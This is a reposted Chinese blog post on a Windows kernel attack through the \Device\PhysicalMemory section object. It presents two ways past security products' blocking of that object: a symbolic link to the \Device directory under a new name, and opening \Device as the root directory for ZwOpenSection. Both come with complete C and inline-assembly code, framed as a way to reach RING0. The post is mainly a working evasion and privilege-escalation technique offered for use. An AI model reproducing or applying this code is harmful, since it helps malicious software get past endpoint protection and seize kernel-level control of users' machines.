博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
续PhysicalMemory攻击
阅读量:5265 次
发布时间:2019-06-14

本文共 2155 字,大约阅读时间需要 7 分钟。

之前曾讲过通过PhysicalMemory进入RING0的一些绕过攻击方式:()

其中提到的为\Device\PhysicalMemory创建符号链接的方式来绕过对ZwOpenSection打开这个Section的拦截,这个实际很多安全软件都已经防御了,例如Comodo , 卡巴,等等,但是他们仅仅是拦截对\Device\PhysicalMemory的Symbolic Link创建,这样足够吗?

答案当然是否定的。我们仔细看\Device\PhyscialMemory这个路径,实际它由\Device这个对象目录和PhysicalMemory这个Section Name组成,那么很简单了,我们创建对\Device这个对象目录的映射,例如叫123,这个不会有人拦截,然后再打开\123\PhysicalMemory, 这样就绕过了拦截,得到了物理内存对象的句柄,轻松进入RING0,具体实现代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");

PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr2 = GetProcAddress(hlib , "ZwCreateSymbolicLinkObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ;
LONG stat ;
HANDLE symhandle ;
PHANDLE psymhandle = &symhandle;
OBJECT_ATTRIBUTES oba ;
OBJECT_ATTRIBUTES oba2 ;
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING linkname = RTL_CONSTANT_STRING(L"\\??\\123");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"\\??\\123\\PhysicalMemory");

InitializeObjectAttributes(&oba2 , &linkname , 0x40 , 0 , 0);

InitializeObjectAttributes(&oba , &phname , 0x40 , 0 , 0 );
__asm
{
   lea eax ,smbname
   push eax
   lea eax ,oba2
   push eax
   push 1
   push psymhandle
   call pAddr2
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}

有了上面的启发,我们很容易可以想到另外一种攻击方式,来绕过对打开物理内存对象拦截,那就是用ZwOpenDirectoryObject打开\Device这个对象目录,然后设置ZwOpenSection的参数ObjectAttributes的RootDirectory域,设为\Device这个对象目录的句柄,那么同样可以顺利打开物理内存对象的句柄,进入RING0。代码如下:

HMODULE hlib = LoadLibrary("ntdll.dll");

PVOID pAddr = GetProcAddress(hlib , "ZwOpenSection");
PVOID pAddr3 = GetProcAddress(hlib , "ZwOpenDirectoryObject");
HANDLE shandle ;
PHANDLE psechandle = &shandle ;
LONG stat ;
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING smbname = RTL_CONSTANT_STRING(L"\\Device");
UNICODE_STRING phname = RTL_CONSTANT_STRING(L"PhysicalMemory");
HANDLE dirhandle ;
PHANDLE pdirhandle = &dirhandle;
OBJECT_ATTRIBUTES oba3 ;

InitializeObjectAttributes(&oba3 , &smbname , 0x40 , 0 , 0);

__asm

{
   lea eax , oba3
   push eax
   push 1
   push pdirhandle
   call pAddr3
}
InitializeObjectAttributes(&oba , &phname , 0x40 , dirhandle , 0 );

__asm

{
   lea eax , oba
   push eax
   push    2
   push psechandle
   call    pAddr
}

转载于:https://www.cnblogs.com/zudn/archive/2011/01/14/1935233.html

你可能感兴趣的文章
Apache+PHP+Mysql 集成环境 几个软件pk
查看>>
CAAnimation临时取消动画,永久取消动画
查看>>
1.2 基础知识——关于猪皮(GP,Generic Practice)
查看>>
迭代器Iterator
查看>>
java易错题----静态方法的调用
查看>>
福建省赛-- Common Tangents(数学几何)
查看>>
php建立MySQL数据表
查看>>
从头再来
查看>>
最简单的线程同步的例子
查看>>
结对编程总结 1175 1176
查看>>
php学习笔记(一)————php类的概念
查看>>
Centos 安装KScope1.6.2
查看>>
内核链表使用--删除链表节点
查看>>
eclipse启动无响应,停留在Loading workbench状态
查看>>
How exactly does Google AdWords work?
查看>>
多线程系列(4)使用多线程的安全问题
查看>>
C# 你可能没这样用过(逗逼方式) return
查看>>
弄明白Android 接口回调机制
查看>>
sharepoint中在blog中,发布post可以直接打开 word 发布!(Launch blog program to post用代码实现)...
查看>>
20175320 2018-2019-2 《Java程序设计》第10周学习总结
查看>>